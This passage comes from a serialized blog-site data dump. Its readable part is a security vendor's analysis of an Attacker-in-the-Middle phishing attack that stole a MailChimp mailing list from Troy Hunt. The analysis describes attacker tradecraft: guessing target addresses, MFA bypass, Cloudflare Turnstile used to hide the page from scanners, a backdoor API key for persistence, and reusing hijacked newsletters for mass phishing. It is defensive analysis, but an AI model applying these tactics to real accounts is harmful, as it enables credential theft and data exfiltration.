132615,"content":132616,"nodeType":889},{"uri":61637},[132617],{"data":132618,"marks":132619,"value":61643,"nodeType":865},{},[132620],{"type":943},{"data":132622,"marks":132623,"value":61647,"nodeType":865},{},[],{"data":132625,"content":132626,"nodeType":866},{},[132627],{"data":132628,"marks":132629,"value":61654,"nodeType":865},{},[],{"data":132631,"content":132632,"nodeType":866},{},[132633],{"data":132634,"marks":132635,"value":61661,"nodeType":865},{},[],{"data":132637,"content":132640,"nodeType":912},{"target":132638},{"sys":132639},{"id":61666,"type":909,"linkType":910},[],{"data":132642,"content":132643,"nodeType":972},{},[],{"data":132645,"content":132646,"nodeType":981},{},[132647],{"data":132648,"marks":132649,"value":61678,"nodeType":865},{},[132650],{"type":926},{"data":132652,"content":132653,"nodeType":866},{},[132654],{"data":132655,"marks":132656,"value":61685,"nodeType":865},{},[],{"data":132658,"content":132659,"nodeType":866},{},[132660,132663,132670],{"data":132661,"marks":132662,"value":61692,"nodeType":865},{},[],{"data":132664,"content":132665,"nodeType":889},{"uri":15841},[132666],{"data":132667,"marks":132668,"value":61700,"nodeType":865},{},[132669],{"type":943},{"data":132671,"marks":132672,"value":14251,"nodeType":865},{},[],{"data":132674,"content":132675,"nodeType":7584},{},[132676],{"data":132677,"content":132678,"nodeType":866},{},[132679],{"data":132680,"marks":132681,"value":61714,"nodeType":865},{},[132682],{"type":926},{"data":132684,"content":132685,"nodeType":866},{},[132686],{"data":132687,"marks":132688,"value":61721,"nodeType":865},{},[],{"data":132690,"content":132691,"nodeType":866},{},[132692],{"data":132693,"marks":132694,"value":61728,"nodeType":865},{},[],{"data":132696,"content":132697,"nodeType":866},{},[132698],{"data":132699,"marks":132700,"value":61735,"nodeType":865},{},[],{"data":132702,"content":132703,"nodeType":1616},{},[132704,132713,132722,132731,132740,132749,132758,132767,132776],{"data":132705,"content":132706,"nodeType":1570},{},[132707],{"data":132708,"content":132709,"nodeType":866},{},[132710],{"data":132711,"marks":132712,"value":61748,"nodeType":865},{},[],{"data":132714,"content":132715,"nodeType":1570},{},[132716],{"data":132717,"content":132718,"nodeType":866},{},[132719],{"data":132720,"marks":132721,"value":61758,"nodeType":865},{},[],{"data":132723,"content":132724,"nodeType":1570},{},[132725],{"data":132726,"content":132727,"nodeType":866},{},[132728],{"data":132729,"marks":132730,"value":61768,"nodeType":865},{},[],{"data":132732,"content":132733,"nodeType":1570},{},[132734],{"data":132735,"content":132736,"nodeType":866},{},[132737],{"data":132738,"marks":132739,"value":61778,"nodeType":865},{},[],{"data":132741,"content":132742,"nodeType":1570},{},[132743],{"data":132744,"content":132745,"nodeType":866},{},[132746],{"data":132747,"marks":132748,"value":61788,"nodeType":865},{},[],{"data":132750,"content":132751,"nodeType":1570},{},[132752],{"data":132753,"content":132754,"nodeType":866},{},[132755],{"data":132756,"marks":132757,"value":61798,"nodeType":865},{},[],{"data":132759,"content":132760,"nodeType":1570},{},[132761],{"data":132762,"content":132763,"nodeType":866},{},[132764],{"data":132765,"marks":132766,"value":61808,"nodeType":865},{},[],{"data":132768,"content":132769,"nodeType":1570},{},[132770],{"data":132771,"content":132772,"nodeType":866},{},[132773],{"data":132774,"marks":132775,"value":61818,"nodeType":865},{},[],{"data":132777,"content":132778,"nodeType":1570},{},[132779],{"data":132780,"content":132781,"nodeType":866},{},[132782],{"data":132783,"marks":132784,"value":61828,"nodeType":865},{},[],{"data":132786,"content":132787,"nodeType":972},{},[],{"data":132789,"content":132790,"nodeType":981},{},[132791],{"data":132792,"marks":132793,"value":61839,"nodeType":865},{},[132794],{"type":926},{"data":132796,"content":132797,"nodeType":1616},{},[132798,132807,132816,132825,132834,132843,132852,132861],{"data":132799,"content":132800,"nodeType":1570},{},[132801],{"data":132802,"content":132803,"nodeType":866},{},[132804],{"data":132805,"marks":132806,"value":61852,"nodeType":865},{},[],{"data":132808,"content":132809,"nodeType":1570},{},[132810],{"data":132811,"content":132812,"nodeType":866},{},[132813],{"data":132814,"marks":132815,"value":61862,"nodeType":865},{},[],{"data":132817,"content":132818,"nodeType":1570},{},[132819],{"data":132820,"content":132821,"nodeType":866},{},[132822],{"data":132823,"marks":132824,"value":61872,"nodeType":865},{},[],{"data":132826,"content":132827,"nodeType":1570},{},[132828],{"data":132829,"content":132830,"nodeType":866},{},[132831],{"data":132832,"marks":132833,"value":61882,"nodeType":865},{},[],{"data":132835,"content":132836,"nodeType":1570},{},[132837],{"data":132838,"content":132839,"nodeType":866},{},[132840],{"data":132841,"marks":132842,"value":61892,"nodeType":865},{},[],{"data":132844,"content":132845,"nodeType":1570},{},[132846],{"data":132847,"content":132848,"nodeType":866},{},[132849],{"data":132850,"marks":132851,"value":61902,"nodeType":865},{},[],{"data":132853,"content":132854,"nodeType":1570},{},[132855],{"data":132856,"content":132857,"nodeType":866},{},[132858],{"data":132859,"marks":132860,"value":61912,"nodeType":865},{},[],{"data":132862,"content":132863,"nodeType":1570},{},[132864],{"data":132865,"content":132866,"nodeType":866},{},[132867],{"data":132868,"marks":132869,"value":61922,"nodeType":865},{},[],{"data":132871,"content":132874,"nodeType":912},{"target":132872},{"sys":132873},{"id":61927,"type":909,"linkType":910},[],{"data":132876,"content":132877,"nodeType":972},{},[],{"data":132879,"content":132880,"nodeType":981},{},[132881],{"data":132882,"marks":132883,"value":61939,"nodeType":865},{},[132884],{"type":926},{"data":132886,"content":132887,"nodeType":1317},{},[132888],{"data":132889,"marks":132890,"value":61947,"nodeType":865},{},[132891],{"type":926},{"data":132893,"content":132894,"nodeType":866},{},[132895],{"data":132896,"marks":132897,"value":61954,"nodeType":865},{},[],{"data":132899,"content":132900,"nodeType":866},{},[132901],{"data":132902,"marks":132903,"value":61961,"nodeType":865},{},[],{"data":132905,"content":132906,"nodeType":1317},{},[132907],{"data":132908,"marks":132909,"value":61969,"nodeType":865},{},[132910],{"type":926},{"data":132912,"content":132913,"nodeType":866},{},[132914,132917,132924],{"data":132915,"marks":132916,"value":61976,"nodeType":865},{},[],{"data":132918,"content":132919,"nodeType":889},{"uri":6710},[132920],{"data":132921,"marks":132922,"value":6715,"nodeType":865},{},[132923],{"type":943},{"data":132925,"marks":132926,"value":14251,"nodeType":865},{},[],{"data":132928,"content":132929,"nodeType":866},{},[132930],{"data":132931,"marks":132932,"value":61993,"nodeType":865},{},[],{"data":132934,"content":132935,"nodeType":1317},{},[132936],{"data":132937,"marks":132938,"value":62001,"nodeType":865},{},[132939],{"type":926},{"data":132941,"content":132942,"nodeType":866},{},[132943],{"data":132944,"marks":132945,"value":62008,"nodeType":865},{},[],{"data":132947,"content":132948,"nodeType":866},{},[132949],{"data":132950,"marks":132951,"value":62015,"nodeType":865},{},[],{"data":132953,"content":132954,"nodeType":1317},{},[132955],{"data":132956,"marks":132957,"value":62023,"nodeType":865},{},[132958],{"type":926},{"data":132960,"content":132961,"nodeType":866},{},[132962],{"data":132963,"marks":132964,"value":62030,"nodeType":865},{},[],{"data":132966,"content":132967,"nodeType":866},{},[132968],{"data":132969,"marks":132970,"value":62037,"nodeType":865},{},[],{"data":132972,"content":132973,"nodeType":866},{},[132974,132977,132984],{"data":132975,"marks":132976,"value":62044,"nodeType":865},{},[],{"data":132978,"content":132979,"nodeType":889},{"uri":62047},[132980],{"data":132981,"marks":132982,"value":62053,"nodeType":865},{},[132983],{"type":943},{"data":132985,"marks":132986,"value":62057,"nodeType":865},{},[],{"data":132988,"content":132991,"nodeType":912},{"target":132989},{"sys":132990},{"id":62062,"type":909,"linkType":910},[],{"data":132993,"content":132994,"nodeType":972},{},[],{"data":132996,"content":132997,"nodeType":981},{},[132998],{"data":132999,"marks":133000,"value":62074,"nodeType":865},{},[133001],{"type":926},{"data":133003,"content":133004,"nodeType":1317},{},[133005],{"data":133006,"marks":133007,"value":62082,"nodeType":865},{},[133008],{"type":926},{"data":133010,"content":133011,"nodeType":866},{},[133012],{"data":133013,"marks":133014,"value":62089,"nodeType":865},{},[],{"data":133016,"content":133017,"nodeType":1616},{},[133018,133037,133056,133085],{"data":133019,"content":133020,"nodeType":1570},{},[133021],{"data":133022,"content":133023,"nodeType":866},{},[133024,133027,133034],{"data":133025,"marks":133026,"value":62102,"nodeType":865},{},[],{"data":133028,"content":133029,"nodeType":889},{"uri":62105},[133030],{"data":133031,"marks":133032,"value":62111,"nodeType":865},{},[133033],{"type":943},{"data":133035,"marks":133036,"value":62115,"nodeType":865},{},[],{"data":133038,"content":133039,"nodeType":1570},{},[133040],{"data":133041,"content":133042,"nodeType":866},{},[133043,133046,133053],{"data":133044,"marks":133045,"value":62125,"nodeType":865},{},[],{"data":133047,"content":133048,"nodeType":889},{"uri":6698},[133049],{"data":133050,"marks":133051,"value":62133,"nodeType":865},{},[133052],{"type":943},{"data":133054,"marks":133055,"value":1615,"nodeType":865},{},[],{"data":133057,"content":133058,"nodeType":1570},{},[133059],{"data":133060,"content":133061,"nodeType":866},{},[133062,133065,133072,133075,133082],{"data":133063,"marks":133064,"value":62146,"nodeType":865},{},[],{"data":133066,"content":133067,"nodeType":889},{"uri":6710},[133068],{"data":133069,"marks":133070,"value":62154,"nodeType":865},{},[133071],{"type":943},{"data":133073,"marks":133074,"value":62158,"nodeType":865},{},[],{"data":133076,"content":133077,"nodeType":889},{"uri":62161},[133078],{"data":133079,"marks":133080,"value":62167,"nodeType":865},{},[133081],{"type":943},{"data":133083,"marks":133084,"value":62171,"nodeType":865},{},[],{"data":133086,"content":133087,"nodeType":1570},{},[133088],{"data":133089,"content":133090,"nodeType":866},{},[133091,133094,133101],{"data":133092,"marks":133093,"value":62181,"nodeType":865},{},[],{"data":133095,"content":133096,"nodeType":889},{"uri":6698},[133097],{"data":133098,"marks":133099,"value":62189,"nodeType":865},{},[133100],{"type":943},{"data":133102,"marks":133103,"value":62193,"nodeType":865},{},[],{"data":133105,"content":133106,"nodeType":866},{},[133107],{"data":133108,"marks":133109,"value":62200,"nodeType":865},{},[],{"data":133111,"content":133112,"nodeType":1317},{},[133113],{"data":133114,"marks":133115,"value":62208,"nodeType":865},{},[133116],{"type":926},{"data":133118,"content":133119,"nodeType":866},{},[133120],{"data":133121,"marks":133122,"value":62215,"nodeType":865},{},[],{"data":133124,"content":133125,"nodeType":866},{},[133126],{"data":133127,"marks":133128,"value":62222,"nodeType":865},{},[],{"data":133130,"content":133133,"nodeType":912},{"target":133131},{"sys":133132},{"id":62227,"type":909,"linkType":910},[],{"data":133135,"content":133136,"nodeType":1317},{},[133137],{"data":133138,"marks":133139,"value":62236,"nodeType":865},{},[133140],{"type":926},{"data":133142,"content":133143,"nodeType":866},{},[133144],{"data":133145,"marks":133146,"value":62243,"nodeType":865},{},[],{"data":133148,"content":133149,"nodeType":866},{},[133150],{"data":133151,"marks":133152,"value":62250,"nodeType":865},{},[],{"data":133154,"content":133155,"nodeType":866},{},[133156],{"data":133157,"marks":133158,"value":62257,"nodeType":865},{},[],{"data":133160,"content":133161,"nodeType":1317},{},[133162],{"data":133163,"marks":133164,"value":62265,"nodeType":865},{},[133165],{"type":926},{"data":133167,"content":133168,"nodeType":866},{},[133169],{"data":133170,"marks":133171,"value":62272,"nodeType":865},{},[],{"data":133173,"content":133174,"nodeType":866},{},[133175],{"data":133176,"marks":133177,"value":62279,"nodeType":865},{},[],{"data":133179,"content":133180,"nodeType":866},{},[133181],{"data":133182,"marks":133183,"value":62286,"nodeType":865},{},[],{"data":133185,"content":133186,"nodeType":866},{},[133187],{"data":133188,"marks":133189,"value":62293,"nodeType":865},{},[],{"data":133191,"content":133194,"nodeType":912},{"target":133192},{"sys":133193},{"id":62298,"type":909,"linkType":910},[],{"data":133196,"content":133197,"nodeType":972},{},[],{"data":133199,"content":133200,"nodeType":981},{},[133201],{"data":133202,"marks":133203,"value":62310,"nodeType":865},{},[133204],{"type":926},{"data":133206,"content":133207,"nodeType":866},{},[133208],{"data":133209,"marks":133210,"value":62317,"nodeType":865},{},[],{"data":133212,"content":133213,"nodeType":1616},{},[133214,133223,133232],{"data":133215,"content":133216,"nodeType":1570},{},[133217],{"data":133218,"content":133219,"nodeType":866},{},[133220],{"data":133221,"marks":133222,"value":62330,"nodeType":865},{},[],{"data":133224,"content":133225,"nodeType":1570},{},[133226],{"data":133227,"content":133228,"nodeType":866},{},[133229],{"data":133230,"marks":133231,"value":62340,"nodeType":865},{},[],{"data":133233,"content":133234,"nodeType":1570},{},[133235],{"data":133236,"content":133237,"nodeType":866},{},[133238],{"data":133239,"marks":133240,"value":62350,"nodeType":865},{},[],{"data":133242,"content":133243,"nodeType":866},{},[133244],{"data":133245,"marks":133246,"value":62357,"nodeType":865},{},[],{"data":133248,"content":133249,"nodeType":866},{},[133250,133253,133259],{"data":133251,"marks":133252,"value":62364,"nodeType":865},{},[],{"data":133254,"content":133255,"nodeType":889},{"uri":62367},[133256],{"data":133257,"marks":133258,"value":62372,"nodeType":865},{},[],{"data":133260,"marks":133261,"value":62376,"nodeType":865},{},[],{"data":133263,"content":133264,"nodeType":866},{},[133265,133268,133275],{"data":133266,"marks":133267,"value":62383,"nodeType":865},{},[],{"data":133269,"content":133270,"nodeType":889},{"uri":62386},[133271],{"data":133272,"marks":133273,"value":62392,"nodeType":865},{},[133274],{"type":943},{"data":133276,"marks":133277,"value":62396,"nodeType":865},{},[],{"data":133279,"content":133282,"nodeType":912},{"target":133280},{"sys":133281},{"id":62401,"type":909,"linkType":910},[],{"data":133284,"content":133285,"nodeType":866},{},[133286],{"data":133287,"marks":133288,"value":21,"nodeType":865},{},[],{"items":133290},[133291],{"sys":133292,"name":7796},{"id":7795},{"items":133294},[133295],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":133296},{"url":7804},"blog/series-b-and-beyond",{"json":133299},{"data":133300,"content":133301,"nodeType":1382},{},[133302],{"data":133303,"content":133304,"nodeType":866},{},[133305],{"data":133306,"marks":133307,"value":133308,"nodeType":865},{},[],"I’m thrilled to share that Push Security has raised our Series B funding. This is a big moment for us — and more importantly, for the future of identity security.",{"id":127310,"publishedAt":133310},"2026-08-12T11:54:16.868Z",{"items":133312},[133313],{"sys":133314,"name":127737},{"id":127736},{"items":133316},[133317,133319,133321,133323,133325,133327,133329,133331,133333,133335,133337,133339,133341,133343,133345,133347,133349,133351,133353],{"sys":133318,"name":297,"slug":298,"tier":31},{"id":294},{"sys":133320,"name":413,"slug":414,"tier":31},{"id":410},{"sys":133322,"name":519,"slug":520,"tier":31},{"id":516},{"sys":133324,"name":279,"slug":280,"tier":31},{"id":276},{"sys":133326,"name":545,"slug":546,"tier":31},{"id":542},{"sys":133328,"name":342,"slug":343,"tier":31},{"id":339},{"sys":133330,"name":642,"slug":643,"tier":31},{"id":639},{"sys":133332,"name":324,"slug":325,"tier":45},{"id":321},{"sys":133334,"name":333,"slug":334,"tier":45},{"id":330},{"sys":133336,"name":422,"slug":423,"tier":45},{"id":419},{"sys":133338,"name":466,"slug":467,"tier":45},{"id":463},{"sys":133340,"name":511,"slug":512,"tier":45},{"id":508},{"sys":133342,"name":395,"slug":396,"tier":45},{"id":392},{"sys":133344,"name":457,"slug":458,"tier":45},{"id":454},{"sys":133346,"name":502,"slug":503,"tier":45},{"id":499},{"sys":133348,"name":484,"slug":485,"tier":45},{"id":481},{"sys":133350,"name":589,"slug":590,"tier":45},{"id":586},{"sys":133352,"name":571,"slug":572,"tier":45},{"id":568},{"sys":133354,"name":528,"slug":529,"tier":45},{"id":525},"6hUqrvJ9Xn4JfGuYuweNIUBkm3goaxqBSQJENnH7mcs",{"id":133357,"title":133358,"authorsCollection":133359,"content":133364,"extension":228,"faqItemsCollection":134242,"faqTitle":59,"featured":6,"hashTags":59,"meta":134244,"metaTitle":134245,"ogImage":134246,"postType":72060,"publishedDate":134247,"relatedBlogPostsCollection":134248,"slug":135617,"stem":135618,"subtitle":59,"summary":135619,"synopsis":135630,"sys":135631,"tagsCollection":135634,"topicsCollection":135640,"__hash__":135680},"blog/blog/dissecting-a-recent-mailchimp-phishing-attack.json","Dissecting a recent MailChimp phishing attack",{"items":133360},[133361],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":133362,"profilePicture":133363},[30152],{"url":7804},{"json":133365,"links":134125},{"data":133366,"content":133367,"nodeType":1382},{},[133368,133375,133408,133415,133434,133441,133444,133451,133458,133464,133471,133477,133483,133490,133507,133513,133520,133523,133531,133550,133573,133580,133588,133595,133602,133608,133616,133635,133654,133660,133667,133673,133681,133713,133719,133726,133729,133737,133744,133764,133771,133777,133785,133792,133799,133806,133813,133881,133888,133896,133915,133921,133928,133935,133941,133948,133954,133962,133969,133975,133981,133988,133991,133998,134028,134035,134054,134061,134072,134079,134082,134089,134108],{"data":133369,"content":133370,"nodeType":866},{},[133371],{"data":133372,"marks":133373,"value":133374,"nodeType":865},{},[],"Phishing attacks using Attacker-in-the-Middle (AitM) kits are increasingly the default for both credential harvesting campaigns and targeted phishing attacks. It’s easy to see why, too:",{"data":133376,"content":133377,"nodeType":1616},{},[133378,133388,133398],{"data":133379,"content":133380,"nodeType":1570},{},[133381],{"data":133382,"content":133383,"nodeType":866},{},[133384],{"data":133385,"marks":133386,"value":133387,"nodeType":865},{},[],"They’re very difficult to spot as a user and often function like the real page should, logging the victim into the genuine site once the phish is complete",{"data":133389,"content":133390,"nodeType":1570},{},[133391],{"data":133392,"content":133393,"nodeType":866},{},[133394],{"data":133395,"marks":133396,"value":133397,"nodeType":865},{},[],"They’re incredibly scalable, and attackers have an increasing number of options to choose from when it comes to off-the-shelf tools and commercial Phishing-as-a-Service offerings ",{"data":133399,"content":133400,"nodeType":1570},{},[133401],{"data":133402,"content":133403,"nodeType":866},{},[133404],{"data":133405,"marks":133406,"value":133407,"nodeType":865},{},[],"And most importantly, they reliably bypass 99% of the MFA methods encountered in the wild, defeating OTP, SMS and push-based authentication",{"data":133409,"content":133410,"nodeType":866},{},[133411],{"data":133412,"marks":133413,"value":133414,"nodeType":865},{},[],"There are basically no downsides to AitM for an attacker. But all the same, they don’t get all that much publicity — probably because traditional phishing prevention solutions are failing to detect them (before the attack succeeds, anyway — and nobody really wants to own up to that). ",{"data":133416,"content":133417,"nodeType":866},{},[133418,133422,133431],{"data":133419,"marks":133420,"value":133421,"nodeType":865},{},[],"So, it’s refreshing to see Troy Hunt, creator of the widely used Have I Been Pwned (HIBP) service, ",{"data":133423,"content":133425,"nodeType":889},{"uri":133424},"https://www.troyhunt.com/a-sneaky-phish-just-grabbed-my-mailchimp-mailing-list/",[133426],{"data":133427,"marks":133428,"value":133430,"nodeType":865},{},[133429],{"type":943},"publicly discussing a recent attack he fell victim to",{"data":133432,"marks":133433,"value":14251,"nodeType":865},{},[],{"data":133435,"content":133436,"nodeType":866},{},[133437],{"data":133438,"marks":133439,"value":133440,"nodeType":865},{},[],"Before we consider the significance of Troy failing to spot the phish — the creator of one of the most widely used services for stolen passwords, working with government on phishing prevention guidance — let's start by breaking down the attack itself. ",{"data":133442,"content":133443,"nodeType":972},{},[],{"data":133445,"content":133446,"nodeType":981},{},[133447],{"data":133448,"marks":133449,"value":79610,"nodeType":865},{},[133450],{"type":926},{"data":133452,"content":133453,"nodeType":866},{},[133454],{"data":133455,"marks":133456,"value":133457,"nodeType":865},{},[],"Troy received a phishing email appearing to be from MailChimp prompting him to sign into his account, with the lure informing him it had had been restricted due to a spam complaint",{"data":133459,"content":133463,"nodeType":912},{"target":133460},{"sys":133461},{"id":133462,"type":909,"linkType":910},"5A4CPvTyKhClC8LgHY5916",[],{"data":133465,"content":133466,"nodeType":866},{},[133467],{"data":133468,"marks":133469,"value":133470,"nodeType":865},{},[],"The email matched Mailchimp’s brand, but the sender address was obviously suspicious. Unfortunately, Troy initially accessed the email via mobile, which hid the sender address — which he then missed when accessing from his PC. ",{"data":133472,"content":133476,"nodeType":912},{"target":133473},{"sys":133474},{"id":133475,"type":909,"linkType":910},"1JWw4jO3qxxJeHO3qtMuZc",[],{"data":133478,"content":133482,"nodeType":912},{"target":133479},{"sys":133480},{"id":133481,"type":909,"linkType":910},"1ebM2R90arTKlCmxmtvYjz",[],{"data":133484,"content":133485,"nodeType":866},{},[133486],{"data":133487,"marks":133488,"value":133489,"nodeType":865},{},[],"Troy was directed to the page hxxps://mailchimp-sso.com. Troy entered his credentials and MFA token and logged in. The page hung and he realized he had been phished…",{"data":133491,"content":133492,"nodeType":866},{},[133493,133497,133504],{"data":133494,"marks":133495,"value":133496,"nodeType":865},{},[],"The attack then automatically executed, with the attacker exporting 16,000 contact records from MailChimp and creating an API key to provide backdoor access to the app (a form of ",{"data":133498,"content":133499,"nodeType":889},{"uri":53259},[133500],{"data":133501,"marks":133502,"value":62154,"nodeType":865},{},[133503],{"type":943},{"data":133505,"marks":133506,"value":46245,"nodeType":865},{},[],{"data":133508,"content":133512,"nodeType":912},{"target":133509},{"sys":133510},{"id":133511,"type":909,"linkType":910},"2MDWfQFU69GaiMCxdvvq8U",[],{"data":133514,"content":133515,"nodeType":866},{},[133516],{"data":133517,"marks":133518,"value":133519,"nodeType":865},{},[],"Let’s have a look at what makes this attack interesting. ",{"data":133521,"content":133522,"nodeType":972},{},[],{"data":133524,"content":133525,"nodeType":981},{},[133526],{"data":133527,"marks":133528,"value":133530,"nodeType":865},{},[133529],{"type":926},"Breaking the attack down",{"data":133532,"content":133533,"nodeType":866},{},[133534,133538,133546],{"data":133535,"marks":133536,"value":133537,"nodeType":865},{},[],"As far as ",{"data":133539,"content":133540,"nodeType":889},{"uri":123592},[133541],{"data":133542,"marks":133543,"value":133545,"nodeType":865},{},[133544],{"type":943},"some of the AitM attacks we’ve observed in the wild",{"data":133547,"marks":133548,"value":133549,"nodeType":865},{},[]," go, this wasn’t the most advanced example we’ve seen: ",{"data":133551,"content":133552,"nodeType":1616},{},[133553,133563],{"data":133554,"content":133555,"nodeType":1570},{},[133556],{"data":133557,"content":133558,"nodeType":866},{},[133559],{"data":133560,"marks":133561,"value":133562,"nodeType":865},{},[],"It didn’t try to obfuscate the notably suspicious sender address or use a legit SaaS service to give the email sender a reputable domain.",{"data":133564,"content":133565,"nodeType":1570},{},[133566],{"data":133567,"content":133568,"nodeType":866},{},[133569],{"data":133570,"marks":133571,"value":133572,"nodeType":865},{},[],"It didn’t see the victim access the real login page, and instead terminated the connection at the point the credentials were captured — meaning Troy was immediately suspicious (I guess it doesn’t really matter given the attack executed instantly, automatically).",{"data":133574,"content":133575,"nodeType":866},{},[133576],{"data":133577,"marks":133578,"value":133579,"nodeType":865},{},[],"That said, it did use a few interesting tricks and techniques. ",{"data":133581,"content":133582,"nodeType":1317},{},[133583],{"data":133584,"marks":133585,"value":133587,"nodeType":865},{},[133586],{"type":926},"Enumerating suitable victims",{"data":133589,"content":133590,"nodeType":866},{},[133591],{"data":133592,"marks":133593,"value":133594,"nodeType":865},{},[],"It’s notable that Troy claims the email he used to access MailChimp wasn’t used anywhere else — meaning the attacker probably guessed it. The domain is partially obscured here but it's likely that this is Troy’s own personal domain. It isn’t too much of a stretch to imagine that organizations frequently set up dedicated email addresses for their MailChimp accounts or newsletters generally (e.g. mailchimp@exampledomain.com). ",{"data":133596,"content":133597,"nodeType":866},{},[133598],{"data":133599,"marks":133600,"value":133601,"nodeType":865},{},[],"Undeniably, Troy’s MailChimp account is probably more of a target than most given the success of his newsletter, but it’s still likely that the attacker spammed many possible address and domain combinations to see what stuck. There’s a degree of luck, but also some smart guesswork at play here. ",{"data":133603,"content":133607,"nodeType":912},{"target":133604},{"sys":133605},{"id":133606,"type":909,"linkType":910},"5TgXthj5tsvWX87QHZH1WQ",[],{"data":133609,"content":133610,"nodeType":1317},{},[133611],{"data":133612,"marks":133613,"value":133615,"nodeType":865},{},[133614],{"type":926},"Using legit services like Cloudflare to defeat detections ",{"data":133617,"content":133618,"nodeType":866},{},[133619,133623,133631],{"data":133620,"marks":133621,"value":133622,"nodeType":865},{},[],"The attacker used Cloudflare to host the domain, which is ",{"data":133624,"content":133625,"nodeType":889},{"uri":131810},[133626],{"data":133627,"marks":133628,"value":133630,"nodeType":865},{},[133629],{"type":943},"consistent with what we’ve observed attackers doing in the wild",{"data":133632,"marks":133633,"value":133634,"nodeType":865},{},[],". Even if this means that Cloudflare will probably take the domain down eventually, they aren’t great at identifying the page right away. Given the rate at which attacker infrastructure is burned and rotated, the pros outweigh the cons for the attacker by giving the site legitimate hosting infrastructure, which can defeat some of the common checks performed by anti-phishing tools.",{"data":133636,"content":133637,"nodeType":866},{},[133638,133642,133650],{"data":133639,"marks":133640,"value":133641,"nodeType":865},{},[],"Troy also mentions seeing a 'Cloudflare anti-automation widget' when accessing the page, which is most likely Cloudflare Turnstile — a creative alternative to CAPTCHA to prevent security bots from accessing and loading malicious pages to analyse them. We've seen attackers use Turnstile ",{"data":133643,"content":133644,"nodeType":889},{"uri":131810},[133645],{"data":133646,"marks":133647,"value":133649,"nodeType":865},{},[133648],{"type":943},"along with a host of other obfuscation techniques",{"data":133651,"marks":133652,"value":133653,"nodeType":865},{},[]," to defeat common detections by preventing security tools from analysing the malicious page. ",{"data":133655,"content":133659,"nodeType":912},{"target":133656},{"sys":133657},{"id":133658,"type":909,"linkType":910},"2X1r1qbE5CVcJ0xVcESGK7",[],{"data":133661,"content":133662,"nodeType":866},{},[133663],{"data":133664,"marks":133665,"value":133666,"nodeType":865},{},[],"Although this page has now been taken down, the campaign undoubtedly continues — another will have been rotated in to take its place. ",{"data":133668,"content":133672,"nodeType":912},{"target":133669},{"sys":133670},{"id":133671,"type":909,"linkType":910},"26wnNFTED2f6O1HtqL3Cgu",[],{"data":133674,"content":133675,"nodeType":1317},{},[133676],{"data":133677,"marks":133678,"value":133680,"nodeType":865},{},[133679],{"type":926},"Configuring ghost logins via API keys to backdoor the account ",{"data":133682,"content":133683,"nodeType":866},{},[133684,133688,133697,133701,133709],{"data":133685,"marks":133686,"value":133687,"nodeType":865},{},[],"The attacker also configured an API key — a smart way to backdoor an app and something we’ve previously ",{"data":133689,"content":133691,"nodeType":889},{"uri":133690},"https://pushsecurity.com/resources/phishing-detecting-evilginx-evilnovnc-muraena-and-modlishka",[133692],{"data":133693,"marks":133694,"value":133696,"nodeType":865},{},[133695],{"type":943},"demonstrated in our webinars",{"data":133698,"marks":133699,"value":133700,"nodeType":865},{},[]," as a ",{"data":133702,"content":133703,"nodeType":889},{"uri":13171},[133704],{"data":133705,"marks":133706,"value":133708,"nodeType":865},{},[133707],{"type":943},"SaaS-native attack technique",{"data":133710,"marks":133711,"value":133712,"nodeType":865},{},[]," for persistence. It means that even if the credentials are changed, the attacker can maintain access to the account.",{"data":133714,"content":133718,"nodeType":912},{"target":133715},{"sys":133716},{"id":133717,"type":909,"linkType":910},"35GkKL1rXnWHNZa1EBHLyD",[],{"data":133720,"content":133721,"nodeType":866},{},[133722],{"data":133723,"marks":133724,"value":133725,"nodeType":865},{},[],"Now, as a security pro, Troy noticed this and deleted it — but many less technical victims wouldn’t know to do this. It’s also not unusual for automated emails from applications to go to spam — meaning some victims potentially wouldn’t spot the notification sent to them. ",{"data":133727,"content":133728,"nodeType":972},{},[],{"data":133730,"content":133731,"nodeType":981},{},[133732],{"data":133733,"marks":133734,"value":133736,"nodeType":865},{},[133735],{"type":926},"But — why MailChimp? ",{"data":133738,"content":133739,"nodeType":866},{},[133740],{"data":133741,"marks":133742,"value":133743,"nodeType":865},{},[],"This was the big question we asked ourselves when looking into this attack. Most phishing attacks targeting businesses tend to focus on core platforms like Microsoft, Google Workspace, etc. — usually Identity Providers (IdPs) that provide both access to email and downstream apps via SSO. It’s the biggest bang for their buck and most tooling is preconfigured to support these platforms. So MailChimp seems an unusual choice at first glance. ",{"data":133745,"content":133746,"nodeType":866},{},[133747,133751,133760],{"data":133748,"marks":133749,"value":133750,"nodeType":865},{},[],"But, we’ve seen recently that it's getting easier for attackers to ",{"data":133752,"content":133754,"nodeType":889},{"uri":133753},"https://www.bleepingcomputer.com/news/security/darcula-phaas-can-now-auto-generate-phishing-kits-for-any-brand/",[133755],{"data":133756,"marks":133757,"value":133759,"nodeType":865},{},[133758],{"type":943},"impersonate a broader range of brands",{"data":133761,"marks":133762,"value":133763,"nodeType":865},{},[],". And there’s something to be said for targeting an app like MailChimp — your guard is naturally probably lower than it would be for a Microsoft-based phish, increasing the chance of success. ",{"data":133765,"content":133766,"nodeType":866},{},[133767],{"data":133768,"marks":133769,"value":133770,"nodeType":865},{},[],"But what’s the payout? The data collected doesn’t seem to be overly valuable — 16k records including email address, IP, and rough geolocation data. Not particularly exploitable by itself…",{"data":133772,"content":133776,"nodeType":912},{"target":133773},{"sys":133774},{"id":133775,"type":909,"linkType":910},"OjZtHXit6WO6Zd9tCUYpJ",[],{"data":133778,"content":133779,"nodeType":1317},{},[133780],{"data":133781,"marks":133782,"value":133784,"nodeType":865},{},[133783],{"type":926},"Part of a multi stage attack? ",{"data":133786,"content":133787,"nodeType":866},{},[133788],{"data":133789,"marks":133790,"value":133791,"nodeType":865},{},[],"This gets a lot more interesting when you consider the different things an attacker might do as part of a broader campaign. ",{"data":133793,"content":133794,"nodeType":866},{},[133795],{"data":133796,"marks":133797,"value":133798,"nodeType":865},{},[],"With access to MailChimp, an attacker can send emails on behalf of the compromised account. These emails are highly trusted and expected from the sender, meaning people receiving them are much more likely to engage with the content, click the links, etc. ",{"data":133800,"content":133801,"nodeType":866},{},[133802],{"data":133803,"marks":133804,"value":133805,"nodeType":865},{},[],"So what if an attacker compromised an account, inserted a load of malicious links into the newsletter, and used it in itself as a mass-phishing vector, designed to capture user credentials or deliver malware? Pretty devious! If you scale this up across multiple victims (and not all of them realize that they’ve been phished) you’ve suddenly got your hands on an incredibly valuable phishing vector that is much more likely to succeed than your average cold approach. 